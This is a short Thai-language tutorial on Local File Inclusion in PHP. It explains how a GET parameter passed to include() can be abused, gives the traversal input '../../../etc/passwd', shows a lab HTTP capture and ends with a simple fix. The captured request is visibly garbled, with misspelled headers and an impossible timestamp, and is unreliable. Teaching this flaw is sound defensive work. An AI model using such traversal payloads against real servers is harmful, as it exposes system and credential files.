ช่องโหว่ Local File Inclusion (LFI) คือการรับพารามิเตอร์ที่ระบุเป็นชื่อไฟล์ แล้วเลือกให้ไฟล์นั้นทำงาน ซึ่งสามารถเจาะได้โดยแทนที่จะใส่ชื่อไฟล์ แต่ให้ใส่เส้นทางและไฟล์ที่ต้องการได้ เนื่องจากพารามิเตอร์ที่ส่งไป นั้น ถูกนำไปประมวลผลโดยใช้ฟังก์ชั่น include เลยดังในรูป

ซึ่งฟังก์ชั่น include นี้จะวิ่งหาไฟล์ตามชื่อที่ระบุ หรืออนุญาตให้วิ่งหาไฟล์ในระบบ ถึงแม้ว่าใส่ค่า

```
../../../etc/passwd ใน $_GET['language']
โค้ดจะกลายเป็น include('../../../etc/passwd.php');
```

ถึงแม้จะไม่มีไฟล์ชื่อ passwd.php แต่บางเซิร์ฟเวอร์จะพยายามรวมไฟล์ /etc/passwd อยู่ดี เนื่องจาก PHP อาจไม่ทำการตรวจสอบนามสกุลไฟล์หากไฟล์ที่เป็นเป้าหมายมีอยู่จริง นี่เป็นพฤติกรรมที่แตกต่างกันไปขึ้นอยู่ กับการตั้งค่าเซิร์ฟเวอร์

ตัวอย่างการเจาะระบบที่มีช่องโหว่ Local File Inclusion (LFI) ในรูปนี้พารามิเตอร์ GET จะชื่อ page

```
http://detectportal.firefox.com

Decompositives/fi/pages../../../etc/passad HTTP/1.1

Host: 192.168.131.60

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100181 Firefox/131.0

Accept-Expt/htal,application/shtal-xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/sylpy,image/special conduction; keep-alive

Accept-Encoding: gzip, deflate

Connection; keep-alive

Condic: NPSCSSID-wykakco97rb6cait43f6p8251; security=low

Usgrade-Insecture-Requests: 1

Priority: u=0, i

Priority: u=0, i

HTTP/1.1 200 OK

2 Date: Fri, 18 Oct 2024 88:12:29 GMT

Server-Report (Accept-Encoding)

Content-tryntal (Accept-Encoding)

Content-tength: 4219

Keep-Alive: timeout-5, max=100

Connection; keep-alive

Content-Type: text/html; charset-ut-f-8

conten
```

ว<mark>ิธีแก้ไขแบบบ้านๆ</mark> ไม่ควรนำพารามิเตอร์ GET ส่งเข้าฟังก์ชั่น include โดยตรง แต่ใช้เช็คค่าว่า ค่านี้ เท่ากับนี้ และให้ระบบชื่อไฟล์นี้แทน โดยชื่อไฟล์ไม่ควรตรงกับพารามิเตอร์